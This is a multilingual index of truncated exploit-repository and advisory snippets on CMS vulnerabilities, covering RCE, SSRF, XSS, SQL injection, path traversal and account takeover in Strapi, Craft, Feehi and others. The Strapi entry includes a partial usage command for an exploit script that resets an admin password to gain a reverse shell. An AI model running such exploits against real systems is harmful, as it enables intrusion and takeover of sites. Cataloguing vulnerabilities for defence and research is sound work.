strapi_cms_3.0.0-beta.17.7

Strapi CMS CVE-2019-18818 und 19606 Blinde Remote-Code-Ausführung von Strapi CMS Version 3.0.0-beta.17.7 und früher, um eine Reverse Shell zu erhalten Erste Schritte Programm ausführen Verwendung von python3 python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lho...

CVE-2019-18818_CVE-2019-19609

Exploit per CVE-2019-18818 e CVE-2019-19609 Questo repository contiene uno script Python per sfruttare due vulnerabilità: CVE-2019-18818 e CVE-2019-19609. CVE-2019-18818 Questa vulnerabilità consente a un attaccante di reimpostare la password di un utente amministratore nel CMS Strapi. Utilizzo 1...

CVE-2024-41502

CVE-2024-41502 CVE: CVE-2024-41502 Software: Jetimob Plataforma Imobiliaria CRM/ERP/CMS Version: 20240627-0 Schwachstelle: Stored Cross-Site Scripting XSS Beschreibung: Stored XSS über das Formularfeld „Observações“ im Bereich „Pessoas“ beim Erstellen oder Bearbeiten einer juristischen oder...

CVE-2024-23724

Installation Installation automatique empfohlen Um die Schwachstelle zu testen, benötigen wir zwei Konten: ein Konto mit der Rolle eines Administrators Eigentümer und ein Konto mit der Rolle eines Beitragenden. In Ghost CMS müssen Sie zuerst auf das Admin-Panel zugreifen, um das Eigentümerkonto z...

CVE-2025-2304-CamaleonCMS-PoC

PoC: CVE-2025-2304 - Escalation dei Privilegi in Camaleon CMS Panoramica Tecnica Questo repository contiene un Proof of Concept PoC funzionale per una vulnerabilità di Mass Assignment in Camaleon CMS versioni precedenti alla 2.8.1. La vulnerabilità risiede nell'endpoint updatedajax del modulo di...

CVE-2025-32432

CVE-2025-32432 — Craft CMS = 5.6.16 Unauthentifizierte RCE Schweregrad: Kritisch CVSS 10.0 Authentifizierung erforderlich: Keine Betroffen: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 Behoben in: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50 Identifizieren Wie man...

CVE-2020-18326

Subrion CMS 4.2.1 - Cross-Site-Request-Forgery CSRF Administrator-Benutzer hinzufügen Beschreibung Subrion CMS ist einfach zu installieren und einfach zu verwalten. Verwenden Sie es als eigenständige Anwendung oder in Verbindung mit anderen Anwendungen, um Einstiegsseiten, mittelgroße oder große...

CVE-2026-54415-PoC

CVE-2026-54415 — Azuriom CMS Fehlerhafte Zugriffskontrolle → Account-Übernahme Fehlende Autorisierung bei den Admin-Server-Verwaltungsrouten in Azuriom CMS Dieser PoC wird zu defensiven und Bildungszwecken gegen eine gepatchte Version veröffentlicht. Führen Sie ihn nur gegen Systeme aus, die Sie...

poc-CVE-2019-9053

PoC CVE-2019-9053 - CMS Made Simple SQL Injection PoC didattico in Python 3 per la CVE-2019-9053, una vulnerabilità di SQL Injection time-based blind in CMS Made Simple = 2.2.9. Questa versione è stata modificata per l'uso in CTF/laboratorio. Possiede prefissi preconfigurati per ridurre il tempo ...

EUVD-2026-92783

Feehi CMS 2.1.1 is vulnerable to Incorrect Access Control. A low-privilege backend administrator with administrator-update permission can change the password of the built-in super administrator account. The server does not enforce protection for this account, and the update scenario does not...

EUVD-2026-92781

Feehi CMS 2.1.1 contains a Server-Side Request Forgery SSRF vulnerability in the UEditor catchimage endpoint. The private-IP validation does not block loopback or link-local addresses, allowing an attacker to make the server probe internal HTTP services through response differences...

CVE-2026-95265

Feehi CMS 2.1.1 contains a Server-Side Request Forgery SSRF vulnerability in the UEditor catchimage endpoint. The private-IP validation does not block loopback or link-local addresses, allowing an attacker to make the server probe internal HTTP services through response differences...

PT-2026-106226

Feehi CMS 2.1.1 contains a Server-Side Request Forgery SSRF vulnerability in the UEditor catchimage endpoint. The private-IP validation does not block loopback or link-local addresses, allowing an attacker to make the server probe internal HTTP services through response differences...

CVE-2026-71888

In Bouncy Castle for Java before 1.86, the streaming CMS AuthenticatedData parser accepted a message whose digestAlgorithm and authAttrs fields disagreed about whether authenticated attributes were present. RFC 5652 sec. 9.1 pairs the two, requiring that authAttrs be present whenever...

CVE-2026-95265

Feehi CMS 2.1.1 is vulnerable to a Server-Side Request Forgery (SSRF) in the UEditor catchimage endpoint. The root cause is insufficient private-IP validation, which fails to block loopback or link-local addresses. This allows an attacker to probe internal HTTP services by analyzing response diff...

CVE-2026-104890: Unrestricted Upload of File with Dangerous Type

Kunstmaan CMS is an open source content management system based on the Symfony framework. Prior to 7.3.2, src/Kunstmaan/MediaBundle/Helper/File/FileHandler.php performs the blacklistedextensions check case-sensitively in FileHandler::getFilePath and lowercases the stored extension afterward. An...

PT-2026-106225

Feehi CMS 2.1.1 is vulnerable to Directory Traversal. An authenticated backend user with article edit permission can delete arbitrary files writable by the PHP process. Article image metadata is used to construct a filesystem path and is passed to unlink without path traversal or directory...

CVE-2026-95264

Feehi CMS 2.1.1 is vulnerable to Directory Traversal. An authenticated backend user with article edit permission can delete arbitrary files writable by the PHP process. Article image metadata is used to construct a filesystem path and is passed to unlink without path traversal or directory...

CVE-2026-95264

Feehi CMS 2.1.1 is vulnerable to Directory Traversal. An authenticated backend user with article edit permission can delete arbitrary files writable by the PHP process. Article image metadata is used to construct a filesystem path and is passed to unlink without path traversal or directory...

EUVD-2026-92782

Feehi CMS 2.1.1 is vulnerable to Directory Traversal. An authenticated backend user with article edit permission can delete arbitrary files writable by the PHP process. Article image metadata is used to construct a filesystem path and is passed to unlink without path traversal or directory...